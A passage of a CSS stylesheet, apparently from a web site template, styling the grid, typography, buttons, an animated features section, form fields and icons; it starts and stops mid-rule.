u\\24\\28xxsmall\\29 + *,\n\t\t.\\35 u\\24\\28xxsmall\\29 + *,\n\t\t.\\34 u\\24\\28xxsmall\\29 + *,\n\t\t.\\33 u\\24\\28xxsmall\\29 + *,\n\t\t.\\32 u\\24\\28xxsmall\\29 + *,\n\t\t.\\31 u\\24\\28xxsmall\\29 + * {\n\t\t\tclear: left;\n\t\t}\n\n\t\t.\\-11u\\28xxsmall\\29 {\n\t\t\tmargin-left: 91.66667%;\n\t\t}\n\n\t\t.\\-10u\\28xxsmall\\29 {\n\t\t\tmargin-left: 83.33333%;\n\t\t}\n\n\t\t.\\-9u\\28xxsmall\\29 {\n\t\t\tmargin-left: 75%;\n\t\t}\n\n\t\t.\\-8u\\28xxsmall\\29 {\n\t\t\tmargin-left: 66.66667%;\n\t\t}\n\n\t\t.\\-7u\\28xxsmall\\29 {\n\t\t\tmargin-left: 58.33333%;\n\t\t}\n\n\t\t.\\-6u\\28xxsmall\\29 {\n\t\t\tmargin-left: 50%;\n\t\t}\n\n\t\t.\\-5u\\28xxsmall\\29 {\n\t\t\tmargin-left: 41.66667%;\n\t\t}\n\n\t\t.\\-4u\\28xxsmall\\29 {\n\t\t\tmargin-left: 33.33333%;\n\t\t}\n\n\t\t.\\-3u\\28xxsmall\\29 {\n\t\t\tmargin-left: 25%;\n\t\t}\n\n\t\t.\\-2u\\28xxsmall\\29 {\n\t\t\tmargin-left: 16.66667%;\n\t\t}\n\n\t\t.\\-1u\\28xxsmall\\29 {\n\t\t\tmargin-left: 8.33333%;\n\t\t}\n\n\t}\n\n/* Basic */\n\n\t@-ms-viewport {\n\t\twidth: device-width;\n\t}\n\n\tbody {\n\t\t-ms-overflow-style: scrollbar;\n\t}\n\n\t@media screen and (max-width: 480px) {\n\n\t\thtml, body {\n\t\t\tmin-width: 320px;\n\t\t}\n\n\t}\n\n\tbody {\n\t\tbackground: #312450;\n\t}\n\n\t\tbody.is-loading *, body.is-loading *:before, body.is-loading *:after {\n\t\t\t-moz-animation: none !important;\n\t\t\t-webkit-animation: none !important;\n\t\t\t-ms-animation: none !important;\n\t\t\tanimation: none !important;\n\t\t\t-moz-transition: none !important;\n\t\t\t-webkit-transition: none !important;\n\t\t\t-ms-transition: none !important;\n\t\t\ttransition: none !important;\n\t\t}\n\n/* Type */\n\n\tbody, input, select, textarea {\n\t\tcolor: rgba(255, 255, 255, 0.55);\n\t\tfont-family: Arial, Helvetica, sans-serif;\n\t\tfont-size: 16.5pt;\n\t\tfont-weight: normal;\n\t\tline-height: 1.75;\n\t}\n\n\t\t@media screen and (max-width: 1680px) {\n\n\t\t\tbody, input, select, textarea {\n\t\t\t\tfont-size: 13pt;\n\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 1280px) {\n\n\t\t\tbody, input, select, textarea {\n\t\t\t\tfont-size: 12pt;\n\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 360px) {\n\n\t\t\tbody, input, select, textarea {\n\t\t\t\tfont-size: 11pt;\n\t\t\t}\n\n\t\t}\n\n\ta {\n\t\t-moz-transition: color 0.2s ease, border-bottom-color 0.2s ease;\n\t\t-webkit-transition: color 0.2s ease, border-bottom-color 0.2s ease;\n\t\t-ms-transition: color 0.2s ease, border-bottom-color 0.2s ease;\n\t\ttransition: color 0.2s ease, border-bottom-color 0.2s ease;\n\t\tborder-bottom: dotted 1px rgba(255, 255, 255, 0.35);\n\t\tcolor: inherit;\n\t\ttext-decoration: none;\n\t}\n\n\t\ta:hover {\n\t\t\tborder-bottom-color: transparent;\n\t\t\tcolor: #ffffff;\n\t\t}\n\n\tstrong, b {\n\t\tcolor: #ffffff;\n\t\tfont-weight: bold;\n\t}\n\n\tem, i {\n\t\tfont-style: italic;\n\t}\n\n\tp {\n\t\tmargin: 0 0 2em 0;\n\t}\n\n\th1, h2, h3, h4, h5, h6 {\n\t\tcolor: #ffffff;\n\t\tfont-weight: bold;\n\t\tline-height: 1.5;\n\t\tmargin: 0 0 0.5em 0;\n\t}\n\n\t\th1 a, h2 a, h3 a, h4 a, h5 a, h6 a {\n\t\t\tcolor: inherit;\n\t\t\ttext-decoration: none;\n\t\t}\n\n\th1 {\n\t\tfont-size: 2.75em;\n\t}\n\n\t\th1.major {\n\t\t\tmargin: 0 0 1.3em 0;\n\t\t\tposition: relative;\n\t\t\tpadding-bottom: 0.35em;\n\t\t}\n\n\t\t\th1.major:after {\n\t\t\t\tbackground-image: -moz-linear-gradient(to right, #5e42a6, #b74e91);\n\t\t\t\tbackground-image: -webkit-linear-gradient(to right, #5e42a6, #b74e91);\n\t\t\t\tbackground-image: -ms-linear-gradient(to right, #5e42a6, #b74e91);\n\t\t\t\tbackground-image: linear-gradient(to right, #5e42a6, #b74e91);\n\t\t\t\t-moz-transition: max-width 0.2s ease;\n\t\t\t\t-webkit-transition: max-width 0.2s ease;\n\t\t\t\t-ms-transition: max-width 0.2s ease;\n\t\t\t\ttransition: max-width 0.2s ease;\n\t\t\t\tborder-radius: 0.2em;\n\t\t\t\tbottom: 0;\n\t\t\t\tcontent: '';\n\t\t\t\theight: 0.05em;\n\t\t\t\tposition: absolute;\n\t\t\t\tright: 0;\n\t\t\t\twidth: 100%;\n\t\t\t}\n\n\th2 {\n\t\tfont-size: 1.75em;\n\t}\n\n\th3 {\n\t\tfont-size: 1.1em;\n\t}\n\n\th4 {\n\t\tfont-size: 1em;\n\t}\n\n\th5 {\n\t\tfont-size: 0.8em;\n\t}\n\n\th6 {\n\t\tfont-size: 0.6em;\n\t}\n\n\t@media screen and (max-width: 736px) {\n\n\t\th1 {\n\t\t\tfont-size: 2em;\n\t\t}\n\n\t\th2 {\n\t\t\tfont-size: 1.25em;\n\t\t}\n\n\t\th3 {\n\t\t\tfont-size: 1em;\n\t\t}\n\n\t\th4 {\n\t\t\tfont-size: 0.8em;\n\t\t}\n\n\t\th5 {\n\t\t\tfont-size: 0.6em;\n\t\t}\n\n\t\th6 {\n\t\t\tfont-size: 0.6em;\n\t\t}\n\n\t}\n\n\tsub {\n\t\tfont-size: 0.8em;\n\t\tposition: relative;\n\t\ttop: 0.5em;\n\t}\n\n\tsup {\n\t\tfont-size: 0.8em;\n\t\tposition: relative;\n\t\ttop: -0.5em;\n\t}\n\n\tblockquote {\n\t\tborder-left: solid 4px rgba(255, 255, 255, 0.15);\n\t\tfont-style: italic;\n\t\tmargin: 0 0 2em 0;\n\t\tpadding: 0.5em 0 0.5em 2em;\n\t}\n\n\tcode {\n\t\tbackground: rgba(255, 255, 255, 0.05);\n\t\tborder-radius: 0.25em;\n\t\tborder: solid 1px rgba(255, 255, 255, 0.15);\n\t\tfont-family: \"Courier New\", monospace;\n\t\tfont-size: 0.9em;\n\t\tmargin: 0 0.25em;\n\t\tpadding: 0.25em 0.65em;\n\t}\n\n\tpre {\n\t\t-webkit-overflow-scrolling: touch;\n\t\tfont-family: \"Courier New\", monospace;\n\t\tfont-size: 0.9em;\n\t\tmargin: 0 0 2em 0;\n\t}\n\n\t\tpre code {\n\t\t\tdisplay: block;\n\t\t\tline-height: 1.75em;\n\t\t\tpadding: 1em 1.5em;\n\t\t\toverflow-x: auto;\n\t\t}\n\n\thr {\n\t\tborder: 0;\n\t\tborder-bottom: solid 1px rgba(255, 255, 255, 0.15);\n\t\tmargin: 2em 0;\n\t}\n\n\t\thr.major {\n\t\t\tmargin: 3em 0;\n\t\t}\n\n\t.align-left {\n\t\ttext-align: left;\n\t}\n\n\t.align-center {\n\t\ttext-align: center;\n\t}\n\n\t.align-right {\n\t\ttext-align: right;\n\t}\n\n/* Box */\n\n\t.box {\n\t\tborder-radius: 0.25em;\n\t\tborder: solid 1px rgba(255, 255, 255, 0.15);\n\t\tmargin-bottom: 2em;\n\t\tpadding: 1.5em;\n\t}\n\n\t\t.box > :last-child,\n\t\t.box > :last-child > :last-child,\n\t\t.box > :last-child > :last-child > :last-child {\n\t\t\tmargin-bottom: 0;\n\t\t}\n\n\t\t.box.alt {\n\t\t\tborder: 0;\n\t\t\tborder-radius: 0;\n\t\t\tpadding: 0;\n\t\t}\n\n/* Button */\n\n\tinput[type=\"submit\"],\n\tinput[type=\"reset\"],\n\tinput[type=\"button\"],\n\tbutton,\n\t.button {\n\t\t-moz-appearance: none;\n\t\t-webkit-appearance: none;\n\t\t-ms-appearance: none;\n\t\tappearance: none;\n\t\t-moz-transition: border-color 0.2s ease;\n\t\t-webkit-transition: border-color 0.2s ease;\n\t\t-ms-transition: border-color 0.2s ease;\n\t\ttransition: border-color 0.2s ease;\n\t\tbackground-color: transparent;\n\t\tborder: solid 1px !important;\n\t\tborder-color: rgba(255, 255, 255, 0.15) !important;\n\t\tborder-radius: 3em;\n\t\tcolor: #ffffff !important;\n\t\tcursor: pointer;\n\t\tdisplay: inline-block;\n\t\tfont-size: 0.6em;\n\t\tfont-weight: bold;\n\t\theight: calc(4.75em + 2px);\n\t\tletter-spacing: 0.25em;\n\t\tline-height: 4.75em;\n\t\toutline: 0;\n\t\tpadding: 0 3.75em;\n\t\tposition: relative;\n\t\ttext-align: center;\n\t\ttext-decoration: none;\n\t\ttext-transform: uppercase;\n\t\twhite-space: nowrap;\n\t}\n\n\t\tinput[type=\"submit\"]:after,\n\t\tinput[type=\"reset\"]:after,\n\t\tinput[type=\"button\"]:after,\n\t\tbutton:after,\n\t\t.button:after {\n\t\t\t-moz-transform: scale(0.25);\n\t\t\t-webkit-transform: scale(0.25);\n\t\t\t-ms-transform: scale(0.25);\n\t\t\ttransform: scale(0.25);\n\t\t\t-moz-pointer-events: none;\n\t\t\t-webkit-pointer-events: none;\n\t\t\t-ms-pointer-events: none;\n\t\t\tpointer-events: none;\n\t\t\t-moz-transition: opacity 0.2s ease, -moz-transform 0.2s ease;\n\t\t\t-webkit-transition: opacity 0.2s ease, -webkit-transform 0.2s ease;\n\t\t\t-ms-transition: opacity 0.2s ease, -ms-transform 0.2s ease;\n\t\t\ttransition: opacity 0.2s ease, transform 0.2s ease;\n\t\t\tbackground: #ffffff;\n\t\t\tborder-radius: 3em;\n\t\t\tcontent: '';\n\t\t\theight: 100%;\n\t\t\tleft: 0;\n\t\t\topacity: 0;\n\t\t\tposition: absolute;\n\t\t\ttop: 0;\n\t\t\twidth: 100%;\n\t\t}\n\n\t\tinput[type=\"submit\"].icon:before,\n\t\tinput[type=\"reset\"].icon:before,\n\t\tinput[type=\"button\"].icon:before,\n\t\tbutton.icon:before,\n\t\t.button.icon:before {\n\t\t\tmargin-right: 0.75em;\n\t\t}\n\n\t\tinput[type=\"submit\"].fit,\n\t\tinput[type=\"reset\"].fit,\n\t\tinput[type=\"button\"].fit,\n\t\tbutton.fit,\n\t\t.button.fit {\n\t\t\tdisplay: block;\n\t\t\tmargin: 0 0 1em 0;\n\t\t\twidth: 100%;\n\t\t}\n\n\t\tinput[type=\"submit\"].small,\n\t\tinput[type=\"reset\"].small,\n\t\tinput[type=\"button\"].small,\n\t\tbutton.small,\n\t\t.button.small {\n\t\t\tfont-size: 0.4em;\n\t\t}\n\n\t\tinput[type=\"submit\"].big,\n\t\tinput[type=\"reset\"].big,\n\t\tinput[type=\"button\"].big,\n\t\tbutton.big,\n\t\t.button.big {\n\t\t\tfont-size: 0.8em;\n\t\t}\n\n\t\tinput[type=\"submit\"].special,\n\t\tinput[type=\"reset\"].special,\n\t\tinput[type=\"button\"].special,\n\t\tbutton.special,\n\t\t.button.special {\n\t\t\tbackground-color: #ffffff;\n\t\t\tcolor: #312450 !important;\n\t\t}\n\n\t\t\tinput[type=\"submit\"].special:after,\n\t\t\tinput[type=\"reset\"].special:after,\n\t\t\tinput[type=\"button\"].special:after,\n\t\t\tbutton.special:after,\n\t\t\t.button.special:after {\n\t\t\t\tdisplay: none;\n\t\t\t}\n\n\t\tinput[type=\"submit\"].disabled, input[type=\"submit\"]:disabled,\n\t\tinput[type=\"reset\"].disabled,\n\t\tinput[type=\"reset\"]:disabled,\n\t\tinput[type=\"button\"].disabled,\n\t\tinput[type=\"button\"]:disabled,\n\t\tbutton.disabled,\n\t\tbutton:disabled,\n\t\t.button.disabled,\n\t\t.button:disabled {\n\t\t\tcursor: default;\n\t\t\topacity: 0.5;\n\t\t\t-moz-pointer-events: none;\n\t\t\t-webkit-pointer-events: none;\n\t\t\t-ms-pointer-events: none;\n\t\t\tpointer-events: none;\n\t\t}\n\n\t\tinput[type=\"submit\"]:hover,\n\t\tinput[type=\"reset\"]:hover,\n\t\tinput[type=\"button\"]:hover,\n\t\tbutton:hover,\n\t\t.button:hover {\n\t\t\tborder-color: rgba(255, 255, 255, 0.55) !important;\n\t\t}\n\n\t\t\tinput[type=\"submit\"]:hover:after,\n\t\t\tinput[type=\"reset\"]:hover:after,\n\t\t\tinput[type=\"button\"]:hover:after,\n\t\t\tbutton:hover:after,\n\t\t\t.button:hover:after {\n\t\t\t\topacity: 0.05;\n\t\t\t\t-moz-transform: scale(1);\n\t\t\t\t-webkit-transform: scale(1);\n\t\t\t\t-ms-transform: scale(1);\n\t\t\t\ttransform: scale(1);\n\t\t\t}\n\n\t\t\tinput[type=\"submit\"]:hover:active,\n\t\t\tinput[type=\"reset\"]:hover:active,\n\t\t\tinput[type=\"button\"]:hover:active,\n\t\t\tbutton:hover:active,\n\t\t\t.button:hover:active {\n\t\t\t\tborder-color: #ffffff !important;\n\t\t\t}\n\n\t\t\t\tinput[type=\"submit\"]:hover:active:after,\n\t\t\t\tinput[type=\"reset\"]:hover:active:after,\n\t\t\t\tinput[type=\"button\"]:hover:active:after,\n\t\t\t\tbutton:hover:active:after,\n\t\t\t\t.button:hover:active:after {\n\t\t\t\t\topacity: 0.1;\n\t\t\t\t}\n\n/* Features */\n\n\t.features {\n\t\tdisplay: -moz-flex;\n\t\tdisplay: -webkit-flex;\n\t\tdisplay: -ms-flex;\n\t\tdisplay: flex;\n\t\t-moz-flex-wrap: wrap;\n\t\t-webkit-flex-wrap: wrap;\n\t\t-ms-flex-wrap: wrap;\n\t\tflex-wrap: wrap;\n\t\tborder-radius: 0.25em;\n\t\tborder: solid 1px rgba(255, 255, 255, 0.15);\n\t\tbackground: rgba(255, 255, 255, 0.05);\n\t\tmargin: 0 0 2em 0;\n\t}\n\n\t\t.features section {\n\t\t\tpadding: 3.5em 3em 1em 7em ;\n\t\t\twidth: 50%;\n\t\t\tborder-top: solid 1px rgba(255, 255, 255, 0.15);\n\t\t\tposition: relative;\n\t\t}\n\n\t\t\t.features section:nth-child(-n + 2) {\n\t\t\t\tborder-top-width: 0;\n\t\t\t}\n\n\t\t\t.features section:nth-child(2n) {\n\t\t\t\tborder-left: solid 1px rgba(255, 255, 255, 0.15);\n\t\t\t}\n\n\t\t\t.features section .icon {\n\t\t\t\t-moz-transition: opacity 0.5s ease, -moz-transform 0.5s ease;\n\t\t\t\t-webkit-transition: opacity 0.5s ease, -webkit-transform 0.5s ease;\n\t\t\t\t-ms-transition: opacity 0.5s ease, -ms-transform 0.5s ease;\n\t\t\t\ttransition: opacity 0.5s ease, transform 0.5s ease;\n\t\t\t\t-moz-transition-delay: 1s;\n\t\t\t\t-webkit-transition-delay: 1s;\n\t\t\t\t-ms-transition-delay: 1s;\n\t\t\t\ttransition-delay: 1s;\n\t\t\t\t-moz-transform: scale(1);\n\t\t\t\t-webkit-transform: scale(1);\n\t\t\t\t-ms-transform: scale(1);\n\t\t\t\ttransform: scale(1);\n\t\t\t\tposition: absolute;\n\t\t\t\tleft: 3em;\n\t\t\t\ttop: 3em;\n\t\t\t\topacity: 1;\n\t\t\t}\n\n\t\t\t.features section:nth-child(1) .icon {\n\t\t\t\t-moz-transition-delay: 0.15s;\n\t\t\t\t-webkit-transition-delay: 0.15s;\n\t\t\t\t-ms-transition-delay: 0.15s;\n\t\t\t\ttransition-delay: 0.15s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(2) .icon {\n\t\t\t\t-moz-transition-delay: 0.3s;\n\t\t\t\t-webkit-transition-delay: 0.3s;\n\t\t\t\t-ms-transition-delay: 0.3s;\n\t\t\t\ttransition-delay: 0.3s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(3) .icon {\n\t\t\t\t-moz-transition-delay: 0.45s;\n\t\t\t\t-webkit-transition-delay: 0.45s;\n\t\t\t\t-ms-transition-delay: 0.45s;\n\t\t\t\ttransition-delay: 0.45s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(4) .icon {\n\t\t\t\t-moz-transition-delay: 0.6s;\n\t\t\t\t-webkit-transition-delay: 0.6s;\n\t\t\t\t-ms-transition-delay: 0.6s;\n\t\t\t\ttransition-delay: 0.6s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(5) .icon {\n\t\t\t\t-moz-transition-delay: 0.75s;\n\t\t\t\t-webkit-transition-delay: 0.75s;\n\t\t\t\t-ms-transition-delay: 0.75s;\n\t\t\t\ttransition-delay: 0.75s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(6) .icon {\n\t\t\t\t-moz-transition-delay: 0.9s;\n\t\t\t\t-webkit-transition-delay: 0.9s;\n\t\t\t\t-ms-transition-delay: 0.9s;\n\t\t\t\ttransition-delay: 0.9s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(7) .icon {\n\t\t\t\t-moz-transition-delay: 1.05s;\n\t\t\t\t-webkit-transition-delay: 1.05s;\n\t\t\t\t-ms-transition-delay: 1.05s;\n\t\t\t\ttransition-delay: 1.05s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(8) .icon {\n\t\t\t\t-moz-transition-delay: 1.2s;\n\t\t\t\t-webkit-transition-delay: 1.2s;\n\t\t\t\t-ms-transition-delay: 1.2s;\n\t\t\t\ttransition-delay: 1.2s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(9) .icon {\n\t\t\t\t-moz-transition-delay: 1.35s;\n\t\t\t\t-webkit-transition-delay: 1.35s;\n\t\t\t\t-ms-transition-delay: 1.35s;\n\t\t\t\ttransition-delay: 1.35s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(10) .icon {\n\t\t\t\t-moz-transition-delay: 1.5s;\n\t\t\t\t-webkit-transition-delay: 1.5s;\n\t\t\t\t-ms-transition-delay: 1.5s;\n\t\t\t\ttransition-delay: 1.5s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(11) .icon {\n\t\t\t\t-moz-transition-delay: 1.65s;\n\t\t\t\t-webkit-transition-delay: 1.65s;\n\t\t\t\t-ms-transition-delay: 1.65s;\n\t\t\t\ttransition-delay: 1.65s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(12) .icon {\n\t\t\t\t-moz-transition-delay: 1.8s;\n\t\t\t\t-webkit-transition-delay: 1.8s;\n\t\t\t\t-ms-transition-delay: 1.8s;\n\t\t\t\ttransition-delay: 1.8s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(13) .icon {\n\t\t\t\t-moz-transition-delay: 1.95s;\n\t\t\t\t-webkit-transition-delay: 1.95s;\n\t\t\t\t-ms-transition-delay: 1.95s;\n\t\t\t\ttransition-delay: 1.95s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(14) .icon {\n\t\t\t\t-moz-transition-delay: 2.1s;\n\t\t\t\t-webkit-transition-delay: 2.1s;\n\t\t\t\t-ms-transition-delay: 2.1s;\n\t\t\t\ttransition-delay: 2.1s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(15) .icon {\n\t\t\t\t-moz-transition-delay: 2.25s;\n\t\t\t\t-webkit-transition-delay: 2.25s;\n\t\t\t\t-ms-transition-delay: 2.25s;\n\t\t\t\ttransition-delay: 2.25s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(16) .icon {\n\t\t\t\t-moz-transition-delay: 2.4s;\n\t\t\t\t-webkit-transition-delay: 2.4s;\n\t\t\t\t-ms-transition-delay: 2.4s;\n\t\t\t\ttransition-delay: 2.4s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(17) .icon {\n\t\t\t\t-moz-transition-delay: 2.55s;\n\t\t\t\t-webkit-transition-delay: 2.55s;\n\t\t\t\t-ms-transition-delay: 2.55s;\n\t\t\t\ttransition-delay: 2.55s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(18) .icon {\n\t\t\t\t-moz-transition-delay: 2.7s;\n\t\t\t\t-webkit-transition-delay: 2.7s;\n\t\t\t\t-ms-transition-delay: 2.7s;\n\t\t\t\ttransition-delay: 2.7s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(19) .icon {\n\t\t\t\t-moz-transition-delay: 2.85s;\n\t\t\t\t-webkit-transition-delay: 2.85s;\n\t\t\t\t-ms-transition-delay: 2.85s;\n\t\t\t\ttransition-delay: 2.85s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(20) .icon {\n\t\t\t\t-moz-transition-delay: 3.0s;\n\t\t\t\t-webkit-transition-delay: 3.0s;\n\t\t\t\t-ms-transition-delay: 3.0s;\n\t\t\t\ttransition-delay: 3.0s;\n\t\t\t}\n\n\t\t.features.inactive section .icon {\n\t\t\t-moz-transform: scale(0.5);\n\t\t\t-webkit-transform: scale(0.5);\n\t\t\t-ms-transform: scale(0.5);\n\t\t\ttransform: scale(0.5);\n\t\t\topacity: 0;\n\t\t}\n\n\t\t@media screen and (max-width: 980px) {\n\n\t\t\t.features {\n\t\t\t\tdisplay: block;\n\t\t\t}\n\n\t\t\t\t.features section {\n\t\t\t\t\tborder-top-width: 1px !important;\n\t\t\t\t\tborder-left-width: 0 !important;\n\t\t\t\t\twidth: 100%;\n\t\t\t\t}\n\n\t\t\t\t\t.features section:first-child {\n\t\t\t\t\t\tborder-top-width: 0 !important;\n\t\t\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 736px) {\n\n\t\t\t.features section {\n\t\t\t\tpadding: 2.5em 1.5em 0.1em 5.5em ;\n\t\t\t}\n\n\t\t\t\t.features section .icon {\n\t\t\t\t\tleft: 1.5em;\n\t\t\t\t\ttop: 2em;\n\t\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 480px) {\n\n\t\t\t.features section {\n\t\t\t\tpadding: 2em 1.5em 0.1em 1.5em ;\n\t\t\t}\n\n\t\t\t\t.features section .icon {\n\t\t\t\t\tleft: 0;\n\t\t\t\t\tposition: relative;\n\t\t\t\t\ttop: 0;\n\t\t\t\t}\n\n\t\t}\n\n/* Form */\n\n\tform {\n\t\tmargin: 0 0 2em 0;\n\t}\n\n\t\tform .field {\n\t\t\tmargin: 0 0 1em 0;\n\t\t}\n\n\t\t\tform .field.half {\n\t\t\t\twidth: 50%;\n\t\t\t\tfloat: left;\n\t\t\t\tpadding: 0 0 0 0.75em;\n\t\t\t}\n\n\t\t\t\tform .field.half.first {\n\t\t\t\t\tpadding: 0 0.75em 0 0;\n\t\t\t\t}\n\n\t\tform > .actions {\n\t\t\tmargin: 2em 0 0 0 !important;\n\t\t}\n\n\t\t@media screen and (max-width: 736px) {\n\n\t\t\tform .field.half {\n\t\t\t\twidth: 100%;\n\t\t\t\tfloat: none;\n\t\t\t\tpadding: 0;\n\t\t\t}\n\n\t\t\t\tform .field.half.first {\n\t\t\t\t\tpadding: 0;\n\t\t\t\t}\n\n\t\t}\n\n\tlabel {\n\t\tcolor: #ffffff;\n\t\tfont-weight: bold;\n\t\tline-height: 1.5;\n\t\tmargin: 0 0 0.7em 0;\n\t\tdisplay: block;\n\t\tfont-size: 1.1em;\n\t}\n\n\tinput[type=\"text\"],\n\tinput[type=\"password\"],\n\tinput[type=\"email\"],\n\tinput[type=\"tel\"],\n\tselect,\n\ttextarea {\n\t\t-moz-appearance: none;\n\t\t-webkit-appearance: none;\n\t\t-ms-appearance: none;\n\t\tappearance: none;\n\t\tbackground: rgba(255, 255, 255, 0.05);\n\t\tborder-radius: 0.25em;\n\t\tborder: none;\n\t\tborder: solid 1px rgba(255, 255, 255, 0.15);\n\t\tcolor: inherit;\n\t\tdisplay: block;\n\t\toutline: 0;\n\t\tpadding: 0 1em;\n\t\ttext-decoration: none;\n\t\twidth: 100%;\n\t}\n\n\t\tinput[type=\"text\"]:invalid,\n\t\tinput[type=\"password\"]:invalid,\n\t\tinput[type=\"email\"]:invalid,\n\t\tinput[type=\"tel\"]:invalid,\n\t\tselect:invalid,\n\t\ttextarea:invalid {\n\t\t\tbox-shadow: none;\n\t\t}\n\n\t\tinput[type=\"text\"]:focus,\n\t\tinput[type=\"password\"]:focus,\n\t\tinput[type=\"email\"]:focus,\n\t\tinput[type=\"tel\"]:focus,\n\t\tselect:focus,\n\t\ttextarea:focus {\n\t\t\tborder-color: #ffffff;\n\t\t\tbox-shadow: 0 0 0 1px #ffffff;\n\t\t}\n\n\t.select-wrapper {\n\t\ttext-decoration: none;\n\t\tdisplay: block;\n\t\tposition: relative;\n\t}\n\n\t\t.select-wrapper:before {\n\t\t\t-moz-osx-font-smoothing: grayscale;\n\t\t\t-webkit-font-smoothing: antialiased;\n\t\t\tfont-family: FontAwesome;\n\t\t\tfont-style: normal;\n\t\t\tfont-weight: normal;\n\t\t\ttext-transform: none !important;\n\t\t}\n\n\t\t.select-wrapper:before {\n\t\t\tcolor: rgba(255, 255, 255, 0.15);\n\t\t\tcontent: '\\f078';\n\t\t\tdisplay: block;\n\t\t\theight: 2.75em;\n\t\t\tline-height: 2.75em;\n\t\t\tpointer-events: none;\n\t\t\tposition: absolute;\n\t\t\tright: 0;\n\t\t\ttext-align: center;\n\t\t\ttop: 0;\n\t\t\twidth: 2.75em;\n\t\t}\n\n\t\t.select-wrapper select::-ms-expand {\n\t\t\tdisplay: none;\n\t\t}\n\n\tselect option {\n\t\tbackground-color: #312450;\n\t\tcolor: #ffffff;\n\t}\n\n\tinput[type=\"text\"],\n\tinput[type=\"password\"],\n\tinput[type=\"email\"],\n\tselect {\n\t\theight: 2.75em;\n\t}\n\n\ttextarea {\n\t\tpadding: 0.75em 1em;\n\t}\n\n\t\tbody.is-ie textarea {\n\t\t\tmin-height: 10em;\n\t\t}\n\n\tinput[type=\"checkbox\"],\n\tinput[type=\"radio\"] {\n\t\t-moz-appearance: none;\n\t\t-webkit-appearance: none;\n\t\t-ms-appearance: none;\n\t\tappearance: none;\n\t\tdisplay: block;\n\t\tfloat: left;\n\t\tmargin-right: -2em;\n\t\topacity: 0;\n\t\twidth: 1em;\n\t\tz-index: -1;\n\t}\n\n\t\tinput[type=\"checkbox\"] + label,\n\t\tinput[type=\"radio\"] + label {\n\t\t\ttext-decoration: none;\n\t\t\tcolor: rgba(255, 255, 255, 0.55);\n\t\t\tcursor: pointer;\n\t\t\tdisplay: inline-block;\n\t\t\tfont-size: 1em;\n\t\t\tfont-weight: normal;\n\t\t\tpadding-left: 2.4em;\n\t\t\tpadding-right: 0.75em;\n\t\t\tposition: relative;\n\t\t}\n\n\t\t\tinput[type=\"checkbox\"] + label:before,\n\t\t\tinput[type=\"radio\"] + label:before {\n\t\t\t\t-moz-osx-font-smoothing: grayscale;\n\t\t\t\t-webkit-font-smoothing: antialiased;\n\t\t\t\tfont-family: FontAwesome;\n\t\t\t\tfont-style: normal;\n\t\t\t\tfont-weight: normal;\n\t\t\t\ttext-transform: none !important;\n\t\t\t}\n\n\t\t\tinput[type=\"checkbox\"] + label:before,\n\t\t\tinput[type=\"radio\"] + label:before {\n\t\t\t\tbackground: rgba(255, 255, 255, 0.05);\n\t\t\t\tborder-radius: 0.25em;\n\t\t\t\tborder: solid 1px rgba(255, 255, 255, 0.15);\n\t\t\t\tcontent: '';\n\t\t\t\tdisplay: inline-block;\n\t\t\t\theight: 1.65em;\n\t\t\t\tleft: 0;\n\t\t\t\tline-height: 1.58125em;\n\t\t\t\tposition: absolute;\n\t\t\t\ttext-align: center;\n\t\t\t\ttop: 0;\n\t\t\t\twidth: 1.65em;\n\t\t\t}\n\n\t\tinput[type=\"checkbox\"]:checked + label:before,\n\t\tinput[type=\"radio\"]:checked + label:before {\n\t\t\tbackground: #ffffff;\n\t\t\tborder-color: #ffffff;\n\t\t\tcolor: #b74e91;\n\t\t\tcontent: '\\f00c';\n\t\t}\n\n\t\tinput[type=\"checkbox\"]:focus + label:before,\n\t\tinput[type=\"radio\"]:focus + label:before {\n\t\t\tborder-color: #ffffff;\n\t\t\tbox-shadow: 0 0 0 1px #ffffff;\n\t\t}\n\n\tinput[type=\"checkbox\"] + label:before {\n\t\tborder-radius: 0.25em;\n\t}\n\n\tinput[type=\"radio\"] + label:before {\n\t\tborder-radius: 100%;\n\t}\n\n\t::-webkit-input-placeholder {\n\t\tcolor: rgba(255, 255, 255, 0.35) !important;\n\t\topacity: 1.0;\n\t}\n\n\t:-moz-placeholder {\n\t\tcolor: rgba(255, 255, 255, 0.35) !important;\n\t\topacity: 1.0;\n\t}\n\n\t::-moz-placeholder {\n\t\tcolor: rgba(255, 255, 255, 0.35) !important;\n\t\topacity: 1.0;\n\t}\n\n\t:-ms-input-placeholder {\n\t\tcolor: rgba(255, 255, 255, 0.35) !important;\n\t\topacity: 1.0;\n\t}\n\n\t.formerize-placeholder {\n\t\tcolor: rgba(255, 255, 255, 0.35) !important;\n\t\topacity: 1.0;\n\t}\n\n/* Icon */\n\n\t.icon {\n\t\ttext-decoration: none;\n\t\tborder-bottom: none;\n\t\tposition: relative;\n\t}\n\n\t\t.icon:before {\n\t\t\t-moz-osx-font-smoothing: grayscale;\n\t\t\t-webkit-font-smoothing: antialiased;\n\t\t\tfont-family: FontAwesome;\n\t\t\tfont-style: normal;\n\t\t\tfont-weight: normal;\n\t\t\ttext-transform: none !important;\n\t\t}\n\n\t\t.icon > .label {\n\t\t\tdisplay: none;\n\t\t}\n\n\t\t.icon.major {\n\t\t\twidth: 2.5em;\n\t\t\theight: 2.5em;\n\t\t\tdisplay: block;\n\t\t\tbackground: #ffffff;\n\t\t\tborder-radius: 